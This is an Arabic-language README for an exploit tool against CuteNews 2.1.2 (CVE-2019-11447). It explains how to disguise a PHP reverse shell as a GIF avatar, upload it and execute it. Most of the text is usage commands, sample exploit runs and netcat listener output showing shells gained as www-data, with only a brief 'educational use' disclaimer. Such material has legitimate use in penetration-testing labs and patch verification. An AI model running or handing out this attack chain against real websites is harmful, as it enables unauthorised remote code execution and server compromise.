CVE-2019-11447 استغلال/إثبات المفهوم - CuteNews 2.1.2 رفع الصورة الرمزية RCE (مُصادق)

كود الاستغلال لـ CVE-2019-11447 والمعروف باسم CuteNews 2.1.2 رفع الصورة الرمزية RCE (مُصادق)

روابط الاستغلال:

النتيجة المتوقعة: تسجيل الدخول/إنشاء حساب، صياغة ملف PHP يختاره المستخدم مع بايتات سحرية بصيغة .gif، رفع الملف كصورة رمزية وتشغيله لتحقيق تنفيذ الأكواد عن بُعد.

مُخصص فقط للأغراض التعليمية والاختبار في بيئات العمل.

تم اختبار هذا الاستغلال على Python 3.8.6

الاستخدام

cfx:  ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]

CuteNews 2.1.2 رفع الصورة الرمزية RCE (مُصادق) بواسطة ColdFusionX

optional arguments:
  -h, --help            عرض رسالة المساعدة هذه والخروج
  -l URL, --url URL     رابط CuteNews (مثال: http://127.0.0.1)
  -u USERNAME, --username USERNAME
                        اسم المستخدم لتسجيل الدخول/الإنشاء
  -p PASSWORD, --password PASSWORD
                        كلمة المرور لتسجيل الدخول/الإنشاء
  -e EMAIL, --email EMAIL
                        البريد الإلكتروني لتسجيل الدخول/الإنشاء

استخدام الاستغلال:
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] اختر ملف PHP الخاص بك -> rev.php
أو
[^] اختر ملف PHP الخاص بك -> ~/Downloads/rev.php
[^] اضغط y/n لتشغيل الشل العكسي -> y

مدخلات المستخدم:

يتوقع هذا الاستغلال أربعة وسائط للتشغيل الأولي:

• -l: رابط CuteNews
• -u: اسم المستخدم المطلوب لتسجيل الدخول/الإنشاء
• -p: كلمة المرور المطلوبة لتسجيل الدخول/الإنشاء
• -e: البريد الإلكتروني المطلوب لتسجيل الدخول/الإنشاء

مدخلات إضافية مطلوبة من المستخدم:

• اختر ملف PHP الخاص بك -> هنا يجب على المستخدم تحديد ملف PHP المراد رفعه، يمكن أن يكون أي ملف PHP، مثال: معلومات PHP، شل عكسي PHP. إذا كان ملف PHP موجودًا في نفس مجلد الاستغلال، يمكن للمستخدم فقط تحديد اسم الملف:

مثال: [^] اختر ملف PHP الخاص بك -> rev.php

وإلا، يحتاج المستخدم إلى تحديد مسار ملف PHP:

مثال: [^] اختر ملف PHP الخاص بك -> ~/Downloads/rev.php

• اضغط y/n لتشغيل الشل العكسي -> هنا إذا قام المستخدم برفع شل عكسي PHP، فلديه الخيار لتشغيل الشل العكسي باستخدام y/n.

على أي حال، صمم الاستغلال لطباعة موقع الملف المرفوع للاستخدام اللاحق.

تنفيذ الاستغلال

• السيناريو 1 > تسجيل الدخول ببيانات اعتماد موجودة والحصول على شل عكسي:

cfx:  ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[+] استغلال CuteNews 2.1.2 رفع الصورة الرمزية RCE بواسطة ColdFusionX

[+] المستخدم موجود! تم تسجيل الدخول بنجاح
[^] اختر ملف PHP الخاص بك -> rev.php

[*] جاري إضافة البايت السحري إلى ملف PHP
[+] الرفع ناجح !!
[*] موقع الملف --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php

[^] اضغط y/n لتشغيل ملف PHP -> y
[*] تحقق من المستمع للحصول على الشل العكسي
[*] اكتمل التنفيذ

الشل

cfx:  ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:06:04 up  4:15,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
prime    tty7     :0               22:50    4:15m  9.36s  0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit

• السيناريو 2 > إنشاء مستخدم جديد والحصول على شل عكسي:

cfx:  ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
[+] استغلال CuteNews 2.1.2 رفع الصورة الرمزية RCE بواسطة ColdFusionX

[+] تم إنشاء بيانات الاعتماد cold:fusion بنجاح
[^] اختر ملف PHP الخاص بك -> rev.php

[*] جاري إضافة البايت السحري إلى ملف PHP
[+] الرفع ناجح !!
[*] موقع الملف --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php

[^] اضغط y/n لتشغيل ملف PHP -> y
[*] تحقق من المستمع للحصول على الشل العكسي
[*] اكتمل التنفيذ

الشل

cfx:  ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:06:04 up  4:15,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
prime   tty7     :0               22:50    4:15m  9.36s  0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit

مرجع

• https://nvd.nist.gov/vuln/detail/CVE-2019-11447